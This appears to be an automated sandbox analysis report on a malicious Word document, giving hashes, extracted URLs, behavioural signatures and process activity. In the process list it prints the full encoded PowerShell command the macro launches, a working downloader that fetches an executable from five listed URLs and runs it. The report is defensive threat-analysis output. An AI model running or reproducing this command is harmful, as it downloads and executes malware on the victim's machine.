Analysis
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max time kernel
128s -
max time network
131s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
20-05-2022 22:03
Static task
static1
Behavioral task
behavioral1
Sample
sample.doc
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
sample.doc
Resource
win10v2004-20220414-en
General
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Target
sample.doc
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Size
169KB
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MD5
07396ff750c57b957fe77ed3d097e968
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SHA1
58f890e23ab290dd39d47d6559de077ab5449ac3
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SHA256
d027cb8eafb09df8996aed9c328bd00510ec194f4ac704b357509bb2a0d823cd
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SHA512
42d5e813e23fe23f994badc9082358706a104fa26f714f8e6a6be5d80b898d4cc151cf63dbd3b5e0a145378e64db0878cba83df149cedea2fc59e8fb2cee170d
Malware Config
Extracted
http://manandvanwaterlooville.co.uk/wp-admin/prX892/
https://uniral.com/captchasignup/4J579681/
https://scyzm.net/lkx7/lqoH8S/
https://amagna.nl/DZ9MzAobu3/37Z/
https://nilinkeji.com/online/90fb31/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4536 3940 powersheLL.exe -
Blocklisted process makes network request 5 IoCs
Processes:
powersheLL.exeflow pid process 20 4536 powersheLL.exe 26 4536 powersheLL.exe 28 4536 powersheLL.exe 44 4536 powersheLL.exe 46 4536 powersheLL.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4068 WINWORD.EXE 4068 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powersheLL.exepid process 4536 powersheLL.exe 4536 powersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 4536 powersheLL.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4068 WINWORD.EXE 4068 WINWORD.EXE 4068 WINWORD.EXE 4068 WINWORD.EXE 4068 WINWORD.EXE 4068 WINWORD.EXE 4068 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABWAEEARgBHAEsAaQBqAGMAPQAnAEoAQwBNAEQATQBiAHgAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAEMAdQBSAGkAVABZAFAAUgBPAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQQBXAEUAVgBSAGYAaQBzACAAPQAgACcANAAzADIAJwA7ACQAUQBNAFgAVQBNAHQAcQB4AD0AJwBIAFgAVwBTAFEAcABjAGwAJwA7ACQATABaAEYASQBYAGgAdQB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABBAFcARQBWAFIAZgBpAHMAKwAnAC4AZQB4AGUAJwA7ACQARQBQAFcAWgBWAGMAbAB0AD0AJwBXAEoAQwBZAFIAdQB5AGMAJwA7ACQARABVAEMASwBOAG8AbABsAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAFcAZQBiAEMATABJAGUATgBUADsAJABZAEoARgBQAEkAcwByAHUAPQAnAGgAdAB0AHAAOgAvAC8AbQBhAG4AYQBuAGQAdgBhAG4AdwBhAHQAZQByAGwAbwBvAHYAaQBsAGwAZQAuAGMAbwAuAHUAawAvAHcAcAAtAGEAZABtAGkAbgAvAHAAcgBYADgAOQAyAC8AKgBoAHQAdABwAHMAOgAvAC8AdQBuAGkAcgBhAGwALgBjAG8AbQAvAGMAYQBwAHQAYwBoAGEAcwBpAGcAbgB1AHAALwA0AEoANQA3ADkANgA4ADEALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGMAeQB6AG0ALgBuAGUAdAAvAGwAawB4ADcALwBsAHEAbwBIADgAUwAvACoAaAB0AHQAcABzADoALwAvAGEAbQBhAGcAbgBhAC4AbgBsAC8ARABaADkATQB6AEEAbwBiAHUAMwAvADMANwBaAC8AKgBoAHQAdABwAHMAOgAvAC8AbgBpAGwAaQBuAGsAZQBqAGkALgBjAG8AbQAvAG8AbgBsAGkAbgBlAC8AOQAwAGYAYgAzADEALwAnAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgARwBTAE0AVQBsAGEAdQA9ACcATgBKAFcATwBLAHEAbAB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAE8AQgBCAEkAeQB5AG0AIABpAG4AIAAkAFkASgBGAFAASQBzAHIAdQApAHsAdAByAHkAewAkAEQAVQBDAEsATgBvAGwAbAAuACIAZABvAHcAYABOAGwATwBhAEQAYABGAEkAbABFACIAKAAkAEQATwBCAEIASQB5AHkAbQAsACAAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQATgBRAFIAVgBKAHQAaAB0AD0AJwBHAEoARwBCAFUAbgBzAGUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAFoARgBJAFgAaAB1AHYAKQAuACIATABgAGUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIANAAwADUANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAEUAYABBAFQARQAiACgAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQAUwBWAEwAWgBBAHYAeQBrAD0AJwBJAFoATQBNAFYAeQBrAGwAJwA7AGIAcgBlAGEAawA7ACQAQwBXAFoARgBBAHgAdABsAD0AJwBMAE8ASQBXAEcAbABzAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBSAFEAWgBLAGoAcgBsAD0AJwBUAFcASwBEAEoAYwBtAGIAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/4068-136-0x00007FFDE4FD0000-0x00007FFDE4FE0000-memory.dmpFilesize
64KB
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memory/4068-130-0x00007FFDE7030000-0x00007FFDE7040000-memory.dmpFilesize
64KB
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memory/4068-131-0x00007FFDE7030000-0x00007FFDE7040000-memory.dmpFilesize
64KB
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memory/4068-133-0x00007FFDE7030000-0x00007FFDE7040000-memory.dmpFilesize
64KB
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memory/4068-134-0x00007FFDE7030000-0x00007FFDE7040000-memory.dmpFilesize
64KB
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memory/4068-135-0x00007FFDE4FD0000-0x00007FFDE4FE0000-memory.dmpFilesize
64KB
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memory/4068-132-0x00007FFDE7030000-0x00007FFDE7040000-memory.dmpFilesize
64KB
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memory/4068-137-0x0000023AB5E40000-0x0000023AB5E44000-memory.dmpFilesize
16KB
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memory/4068-141-0x00007FFDE7030000-0x00007FFDE7040000-memory.dmpFilesize
64KB
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memory/4068-144-0x00007FFDE7030000-0x00007FFDE7040000-memory.dmpFilesize
64KB
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memory/4068-143-0x00007FFDE7030000-0x00007FFDE7040000-memory.dmpFilesize
64KB
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memory/4068-142-0x00007FFDE7030000-0x00007FFDE7040000-memory.dmpFilesize
64KB
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memory/4536-138-0x00000280EC020000-0x00000280EC042000-memory.dmpFilesize
136KB
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memory/4536-139-0x00007FFDFBD00000-0x00007FFDFC7C1000-memory.dmpFilesize
10.8MB